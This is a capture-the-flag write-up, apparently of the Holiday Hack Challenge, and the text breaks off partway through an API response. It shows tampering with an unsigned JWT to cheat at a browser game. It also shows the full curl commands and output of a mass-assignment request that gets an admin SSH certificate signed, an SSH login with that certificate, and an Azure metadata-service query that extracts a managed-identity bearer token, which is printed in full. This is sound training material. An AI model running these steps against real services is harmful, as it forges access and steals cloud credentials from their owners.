Geography

Getting To

I’m not able to locate any additional ports on Christmas Island, so I’ll head to Pixel Island as Sparkle suggested to find Alabaster. Rainraster Cliffs port is on the south side of the island:

image-20231218174328305

Location Layout

Unlike previous ports, the Rainraster Cliffs present a 2D walking space with the opportunity to climb the cliffs:

image-20231219191918162Click for full size image

The Goose of Pixel Island is less friendly, offering only “hisssss”.

Elf Hunt

Challenge

The badge has two additional objectives from this location. The first is:

image-20240103154954141

Up the first ladder in the trees I’ll find Piney Sappington next to an original Nintendo controller and an old looking TV:

img

Piney asks for help:

Piney Sappington

Piney Sappington

Hey there, friend! Piney Sappington here.

You look like someone who’s good with puzzles and games.

I could really use your help with this Elf Hunt game I’m stuck on.

I think it has something to do with manipulating JWTs, but I’m a bit lost.

If you help me out, I might share some juicy secrets I’ve discovered.

Let’s just say things around here haven’t been exactly… normal.

So, what do ya say? Are you in?

Oh, brilliant! I just know we’ll crack this game together.

I can’t wait to see what we uncover, and remember, mum’s the word!

Thanks a bunch! Keep your eyes open and your ears to the ground.

The terminal opens up a screen similar to the original Duck Hunt video game with instructions:

image-20231218180207319

Solution

Enumeration

In the game, it’s difficult to hit the elves because they move so fast and change direction. Plus, 75 is a lot to hit!

The site sets a cookie which I can see in the browser dev tools under “Storage” for Firefox (or “Application” for Chrome):

image-20231220162820721

The cookie is named ElfHunt_JWT, and it is of the Java Web Token (JWT) format. JWT’s have three sections of data. Each is a base64-encoded blob of data:

  • Header - Information like the type and algorithm(s) used.
  • Payload - Data the site wants to store and get back about a session.
  • Signature - Cryptographic verification that the creator of the token has access to the signing secret.

It’s worth noting that the base64 padding character “=” is stripped from the blobs before adding them to the token.

JWT.io is a nice place to look at decoded JWTs. Or I can just vase64 decode manually.

My token is eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0.. It’s obvious right away that the third section is empty. The first section is:

{
  "alg": "none",
  "typ": "JWT"
}

The alg of “none” explains why there’s no signature. The Payload is:

{
  "speed": -500
}

Modify Token

It’s not immediately clear to me why the speed value is negative, but I’ll try changing it to -50. I don’t love JWT.io for modifying JWTs, but in this case, I can just do it manually:

oxdf@hacky$ echo "eyJzcGVlZCI6LTUwMH0" | base64 -d
{"speed":-500}base64: invalid input
oxdf@hacky$ echo "eyJzcGVlZCI6LTUwMH0=" | base64 -d
{"speed":-500}

When the first one fails, I’ll just make sure it works ok with padding, and it does. Now I’ll edit that:

oxdf@hacky$ echo '{"speed":-50}' | base64 -w0
eyJzcGVlZCI6LTUwfQo=

I’ll replace my cookie in the dev tools with eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwfQo. and refresh the page. The elves are moving much more slowly.

jwt_tool

Another way to mess with JWT’s is using jwt_tool. If I give it my cookie it will show me the data:

oxdf@hacky$ python jwt_tool.py eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0.

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.6                \______|             @ticarpi      

Original JWT: 

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "none"
[+] typ = "JWT"

Token payload values:
[+] speed = -500

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

-I will inject claims, and then -pc speed will say to change (or add) the speed and -pv -50 will say to set speed to -50:

oxdf@hacky$ python jwt_tool.py -I -pc speed -pv -50 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0.
...[snip]...
Original JWT: 

jwttool_4962b6581d0b470341f5900c68cff85b - Injected token with unchanged signature
[+] eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwfQ.

Better Solution

Hitting 75 elves is still too much work. In the the dev tools, I’ll look for variables in the JavaScript I can mess with. In the main page for Elf Hunt, there’s inline JavaScript that represents the game. It’s one long line, but the dev tools have an option to “pretty print” (looks like { }). score and speed both get set towards the top:

image-20231220164304573

speed comes from the JWT, and the main.js file has all the code to read and process the JWT to get speed. score is initialized to 0.

If I don’t want to mess with the JWT, I can change the speed directly in the console:

image-20231220164515531

When viewing this through the iFrame on the Holiday Hack page, it’s important to make sure the context at the bottom right is set to the right window (“Elf Hunt!”). Once I do that, the elves slow down.

Once I hit a few elves, I’ll observe that score goes up:

image-20231220164642909

If I change it to 73 by entering score = 73, it changes in the console, but not on the game UI. However, the next time I hit an elf, it jumps to 74:

image-20231220164755411

One more elf and it’s victory:

image-20231220164815709

Interestingly, the cookie in my browser has been updated to include a w parameter:

image-20240103155431253

So whenever I load this challenge now, it just goes to the win screen. If I clear this out, I can play again.

Epilogue

Clicking on the “Game Token” after winning Elf Hunt! presents a page from “The Captain’s Journal”

https://elfhunt.org/static/images/captainsJournal.png

This is a clue for an upcoming challenge. Piney is thrilled:

Piney Sappington

Piney Sappington

Well done! You’ve brilliantly won Elf Hunt! I couldn’t be more thrilled. Keep up the fine work, my friend!

What have you found there? The Captain’s Journal? Yeah, he comes around a lot. You can find his comms office over at Brass Buoy Port on Steampunk Island.

Piney also gives me direction on where to go next.

Certificate SSHenanigans

Challenge

The other objective in Rainraster Cliffs is SSHenanigans:

image-20240103155652113

Alabaster Snowball is at the top of the trees and needs my help:

Alabaster Snowball

Alabaster Snowball

Hello there! Alabaster Snowball at your service.

I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.

ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!

It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!

I’m a little wary though. I’d appreciate it if you could take a peek and confirm everything’s secure before I deploy this configuration to all the Geese Islands servers.

Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.

If you haven’t heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.

Oh, and if you need to peek at the Function App code, there’s a handy Azure REST API endpoint which will give you details about how the Function App is deployed.

Shell as monitor

I’ll generate a SSH keypair using ssh-keygen:

oxdf@hacky$ ssh-keygen -t ed25519 -f ./hh -C "0xdf" -q -N ""
oxdf@hacky$ ls
hh  hh.pub

I like the ed25519 format (tiny keys), but RSA will work as well. -f hh outputs the keys to the current directory. -C "0xdf" is the comment at the end. -q -N "" automates it without a password.

I’ll drop the contents of hh.pub into the web application given in the prompt and click “Submit”. It returns JSON data including a ssh_cert and a principal of “elf”:

image-20231220170013614

The man page for ssh talks about where it looks for certificate information when -i is used to specify a key:

     -i identity_file
             Selects a file from which the identity (private key) for public
             key authentication is read.  You can also specify a public key
             file to use the corresponding private key that is loaded in
             ssh-agent(1) when the private key file is not present locally.
             The default is ~/.ssh/id_rsa, ~/.ssh/id_ecdsa,
             ~/.ssh/id_ecdsa_sk, ~/.ssh/id_ed25519, ~/.ssh/id_ed25519_sk and
             ~/.ssh/id_dsa.  Identity files may also be specified on a per-
             host basis in the configuration file.  It is possible to have
             multiple -i options (and multiple identities specified in con‐
             figuration files).  If no certificates have been explicitly
             specified by the CertificateFile directive, ssh will also try to
             load certificate information from the filename obtained by ap‐
             pending -cert.pub to identity filenames.

I’ll save the ssh_cert value as hh-cert.pub as described above, and now I can connect using the monitor account as described in the prompt. It loads a full terminal display of SatTrackr:

image-20231221124048858

Ctrl-c exits that and drops me at a prompt as monitor:

oxdf@hacky$ ssh -i hh monitor@ssh-server-vm.santaworkshopgeeseislands.org
monitor@ssh-server-vm:~$

VM Enumeration

Home Directories

As monitor, I’ll look around. The monitor user’s home directory is very empty:

monitor@ssh-server-vm:~$ ls -la
total 20
drwx------ 1 monitor monitor 4096 Nov  3 16:50 .
drwxr-xr-x 1 root    root    4096 Nov  3 16:50 ..
-rw-r--r-- 1 monitor monitor  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 monitor monitor 3649 Nov  9 17:05 .bashrc
-rw-r--r-- 1 monitor monitor  807 Apr 23  2023 .profile

The last two lines of the .bashrc do show why the session started sattrackr:

monitor@ssh-server-vm:~$ tail -2 .bashrc 
# Start SatTrackr
/usr/local/bin/sattrackr

The other user on the box is alabaster, as expected:

monitor@ssh-server-vm:/home$ ls
alabaster  monitor
monitor@ssh-server-vm:/home$ ls alabaster/
ls: cannot open directory 'alabaster/': Permission denied

monitor doesn’t have access. Based on the prompt, that is the target for this challenge.

SSH

The SSH configuration is stored in /etc/ssh/sshd_config (printed here removing commented and empty lines with grep):

monitor@ssh-server-vm:/etc/ssh$ cat sshd_config | grep -v "^#" | grep .
Include /etc/ssh/sshd_config.d/*.conf
KbdInteractiveAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server

Nothing too interesting there, but it also loads configuration from /etc/ssh/sshd_config.d/*.conf. That folder has one additional file:

monitor@ssh-server-vm:/etc/ssh$ ls sshd_config.d/
sshd_config_certs.conf
monitor@ssh-server-vm:/etc/ssh$ cat sshd_config.d/sshd_config_certs.conf            
# Set the host keys, certificates, and principals file
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub
HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub
TrustedUserCAKeys /etc/ssh/ca.pub
AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u

# No root login
PermitRootLogin no

# Disable password authentication
PasswordAuthentication no

# Only allow members of sshallow
AllowGroups sshallow

# Restrict key exchange, cipher, and MAC algorithms
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,umac-128-etm@openssh.com
HostKeyAlgorithms ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com
CASignatureAlgorithms ssh-ed25519,rsa-sha2-256,rsa-sha2-512
PubkeyAcceptedKeyTypes ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa

The top of this file is where the SSH certificates is setup. It gives the host keys (both ed25519 and rsa), as well as the certificates for them. It shows the public key used as the CA (ca.pub). I don’t see the private key (probably ca) on this host.

The line AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u says that authorized_principals directory contains files that maps from a user to a principle. So when I log in as monitor, it looks in /etc/ssh/auth_principals/monitor:

monitor@ssh-server-vm:/etc/ssh$ cat auth_principals/monitor 
elf

Because my principle in the certificate is elf, it allows the session as monitor. The other user on this box with a principal is alabaster:

monitor@ssh-server-vm:/etc/ssh$ ls auth_principals        
alabaster  monitor
monitor@ssh-server-vm:/etc/ssh$ cat auth_principals/alabaster 
admin

The admin principal is able to log in as alabaster.

Exploit Server

Enumerate Requests

I’ll open the browser dev tools to the “Network” tab and submit a key again. It sends a POST request to the same URL:

image-20231221132550180

The POST body is JSON with a single item named ssh_pub_key:

{"ssh_pub_key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDWISJuhbdzqPYWLWIM/miENrOK4eIEo+oT/un0pxijC 0xdf"}

The response body is also JSON, with the ssh_cert and principal:

{
    "ssh_cert": "ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJzE5ODU5MjAwNTcyMjQ1MzQ1Mjg0NDM3NTM0NTQ1ODQ5MTU3NjI1MQAAACA1iEiboW3c6j2Fi1iDP5ohDaziuHiBKPqE/7p9KcYowgAAAAAAAAABAAAAAQAAACRkNWY0MTVlMi1lYmU2LTRmMGYtODMyZi01MGVmNjVlYjc2MTMAAAAHAAAAA2VsZgAAAABlhIHYAAAAAGWpbQQAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEBfcVIWbdHbT/nnXIPXaiiDhuzkxwyuR5QFY781ReEtG+9in+yFdGo0zdhqnyiW3J/MpwgvJOezwzXaJwAWMyED ",
    "principal": "elf"
}

Modify Principal POC

My first through is a twist on a Mass Assignment vulnerability. If I add a principal to the request, does that get reflected in the response.

I’ll start by moving to curl to send requests, and jq to pretty print the result. I’ll start just replicating the request from the web to make sure it works:

oxdf@hacky$ curl https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl -H "Content-Type: application/json" -d '{"ssh_pub_key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDWISJuhbdzqPYWLWIM/miENrOK4eIEo+oT/un0pxijC 0xdf"}' -s | jq .
{
  "ssh_cert": "ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJzMyODA1MDU1Mjc0OTAyMzE1NDk5MDE0MDIxNzY2MDU4ODc1MDUyNwAAACA1iEiboW3c6j2Fi1iDP5ohDaziuHiBKPqE/7p9KcYowgAAAAAAAAABAAAAAQAAACRkODhjYTc3ZS01MmYyLTRjN2MtYTQzZC1jZGU0M2NhZDU4NDQAAAAHAAAAA2VsZgAAAABlhILOAAAAAGWpbfoAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAECZWNc1HrUOTaOzvmDQuqLJCUEJiVtc8Vjsyt4MgXDKCopsIQwWm+ICI8MMIzO6ObdJV4H9cp8DmN0ghmupPoQG ",
  "principal": "elf"
}

It does. Now what if I add principal to the request data:

oxdf@hacky$ curl https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl -H "Content-Type: application/json" -d '{"ssh_pub_key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDWISJuhbdzqPYWLWIM/miENrOK4eIEo+oT/un0pxijC 0xdf", "principal": "test"}' -s | jq .
{
  "ssh_cert": "ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJjE0MzMwMTMzMTExODU1MTE4MzMxODI5MDAyOTg2ODQ4ODE5MzY5AAAAIDWISJuhbdzqPYWLWIM/miENrOK4eIEo+oT/un0pxijCAAAAAAAAAAEAAAABAAAAJDgxMTRkNDlhLWMwMWYtNDdmOS1hMWMwLTRkMTIwMWNhOWVkMQAAAAgAAAAEdGVzdAAAAABlhIMIAAAAAGWpbjQAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEAQeIBzRx+Kze8YMMV2TCzIp3Pr5b/I/uIjFAcTq4PhpOMVpj9w7iXwWU94wXTPTu6lFnvAPWAgSXqY5bSy2YwP ",
  "principal": "test"
}

It worked! The response shows the principal of “test”. I’m also able to use the “admin” principle, which is what I need to be alabaster on the target.

Shell as alabaster

I’ll create a new SSH keypair to use as alabaster and get a certificate for it:

oxdf@hacky$ ssh-keygen -t ed25519 -f ./admin -C "0xdf" -q -N ""
oxdf@hacky$ curl https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl -H "Content-Type: application/json" -d '{"ssh_pub_key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA+zOVTyAFkZIhNK9yO4Mvn5KG2eljl66wICDAfA6URy 0xdf", "principal": "admin"}' -s | jq -r '.ssh_cert' > admin-cert.pub

Now I can SSH as alabaster:

oxdf@hacky$ ssh -i admin alabaster@ssh-server-vm.santaworkshopgeeseislands.org
alabaster@ssh-server-vm:~$

In their home directory is alabaster_todo.md:

alabaster@ssh-server-vm:~$ ls
alabaster_todo.md  impacket
alabaster@ssh-server-vm:~$ cat alabaster_todo.md 
# Geese Islands IT & Security Todo List

- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.

The flag to submit to the badge is Gingerbread (the best kind of holiday cookie).

Source Code

Collect Metadata

I solved this just by guessing that I might be able to add the principal parameter. But the hint suggests I can find source for this application using the Web Apps - Get Source Control endpoint. To use this API, I’ll need to know the subscriptionId, resourceGroupName, and name for the application.

The first two I could get from the Azure 101 terminal, or from my access as monitor querying the Azure Instance Metadata Service (IMDS). I’ll use curl in the VM and target the private URL given in that article:

monitor@ssh-server-vm:/etc/ssh$ curl -s -H Metadata:true http://169.254.169.254/metadata/instance?api-version=2021-02-01 | jq .
{
  "compute": {
    "azEnvironment": "AzurePublicCloud",
    "customData": "",
    "evictionPolicy": "",
    "isHostCompatibilityLayerVm": "false",
    "licenseType": "",
    "location": "eastus",
    "name": "ssh-server-vm",
    "offer": "",
    "osProfile": {
      "adminUsername": "",
      "computerName": "",
      "disablePasswordAuthentication": ""
    },
    "osType": "Linux",
    "placementGroupId": "",
    "plan": {
      "name": "",
      "product": "",
      "publisher": ""
    },
    "platformFaultDomain": "0",
    "platformUpdateDomain": "0",
    "priority": "",
    "provider": "Microsoft.Compute",
    "publicKeys": [],
    "publisher": "",
    "resourceGroupName": "northpole-rg1",
    "resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
    "securityProfile": {
      "secureBootEnabled": "false",
      "virtualTpmEnabled": "false"
    },
    "sku": "",
    "storageProfile": {
      "dataDisks": [],
      "imageReference": {
        "id": "",
        "offer": "",
        "publisher": "",
        "sku": "",
        "version": ""
      },
      "osDisk": {
        "caching": "ReadWrite",
        "createOption": "Attach",
        "diffDiskSettings": {
          "option": ""
        },
        "diskSizeGB": "30",
        "encryptionSettings": {
          "enabled": "false"
        },
        "image": {
          "uri": ""
        },
        "managedDisk": {
          "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
          "storageAccountType": "Standard_LRS"
        },
        "name": "ssh-server-vm_os_disk",
        "osType": "Linux",
        "vhd": {
          "uri": ""
        },
        "writeAcceleratorEnabled": "false"
      },
      "resourceDisk": {
        "size": "63488"
      }
    },
    "subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
    "tags": "Project:HHC23",
    "tagsList": [
      {
        "name": "Project",
        "value": "HHC23"
      }
    ],
    "userData": "",
    "version": "",
    "vmId": "1f943876-80c5-4fc2-9a77-9011b0096c78",
    "vmScaleSetName": "",
    "vmSize": "Standard_B4ms",
    "zone": ""
  },
  "network": {
    "interface": [
      {
        "ipv4": {
          "ipAddress": [
            {
              "privateIpAddress": "10.0.0.50",
              "publicIpAddress": ""
            }
          ],
          "subnet": [
            {
              "address": "10.0.0.0",
              "prefix": "24"
            }
          ]
        },
        "ipv6": {
          "ipAddress": []
        },
        "macAddress": "6045BDFE2D67"
      }
    ]
  }
}

There’s a lot there, but jq can pull just the parts I need:

monitor@ssh-server-vm:/etc/ssh$ curl -s -H Metadata:true http://169.254.169.254/metadata/instance?api-version=2021-02-01 | jq '[.compute.resourceGroupName, .compute.subscriptionId]'
[
  "northpole-rg1",
  "2b0942f3-9bca-484b-a508-abdae2db5e64"
]

As for the app name, it’s at the start of the URL, “northpole-ssh-certs-fa”.

Token

Sparkle had mentioned after the Azure 101 challenge that if I needed to use the web Rest API, I would need a token, which is described here. I’ll use that query to get a token:

monitor@ssh-server-vm:/etc/ssh$ curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true | jq .
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDMxODU3NDgsIm5iZiI6MTcwMzE4NTc0OCwiZXhwIjoxNzAzMjcyNDQ4LCJhaW8iOiJFMlZnWUpoMVQ5ZzYyRnIwZFpIcVF0dXM5VzNpQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJCVzZRaF9zd09VcW83aDNtR2RwNUFnIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.GmZcVXW3r8m8tV8yXwH7ZMmZnrngqEbg2rnJlC_2oPisvLeBAHtwmpZVaju_Y11iIx263Fx4fbPNXfo5adkoBzYHkJkxJwga_KC9fpZRcKEli5TEHUskX77YfRKHvGUlZzdJCg1K1wSR_kUampryFtbeEST_3x2Tt2P0ucVKGibeRuMUVX8e2gpGf1ota3YqeN7693IwiRvkHK2eFTJqpo4q4SFutUVPoPKJb_RgTNFFcdtkWiGB85M56Pc3wEcoSUdLVKNyIi9rZxUEWawKGrOACNXrXqXvHvjxmGWWaJD1_fI_zICHTPWGKkT_wA7agDxDY8faUC7Y11YyEWbmjQ",
  "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
  "expires_in": "86191",
  "expires_on": "1703272448",
  "ext_expires_in": "86399",
  "not_before": "1703185748",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}

On my host, I’ll export it so I can refer to it by $TOKEN:

oxdf@hacky$ export TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDMxODMwMzMsIm5iZiI6MTcwMzE4MzAzMywiZXhwIjoxNzAzMjY5NzMzLCJhaW8iOiJFMlZnWUppOW8zYlh1ZGxDNjg0SC9MK1F0ZTNWWndBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiI0R1JER3QydmswdWdtLUlKel9MTkFRIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.C-kAnlNMw-eXjoamz0tdWMATeVOurnogbdG30ySelnmMLxKaBlRBgbXlH6x67gVd1gYJeqmO_rDy3vIvmf5AW9Zla0vxh396k0EuzVlU5OzYNasHtrQQFtjV_m27q279aWMB8BXI89nOebX5T97LSb5R3jhpUSBXaPYIV7sPrUc_XAQGERJywltbgmits7g0y0ZQrYmpiJqloFgNRS4Ys79aikYg-3S40nkFlbXp3PpCUk2-4kmRLru2saoyHyAmGRQJden6mPzTuEWF15EXBjxx31mUszKiM4VeMUGd_l5H0KE3TtpB12R2Sx8XqPiKLwJJT0uKEqfmr3Dt4S7i9A

Query Source Control

That token is passed as part of the Authorization header (in curl that’s -H "Authorization: Bearer $TOKEN").

Now I have all I need to query the API:

oxdf@hacky$ curl https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01 -H "Authorization: Bearer $token" -s | jq .
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
  "name": "northpole-ssh-certs-fa",
  "type": "Microsoft.Web/sites/sourcecontrols",
  "location": "East US",
  "tags": {
    "project": "northpole-ssh-certs",
    "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl"
  },
  "properties": {
    "repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
    "branch": "main",
    "isManualIntegration": false,
    "isGitHubAction": true,
    "deploymentRollbackEnabled": false,
    "isMercurial": false,
    "provisioningState": "Succeeded",
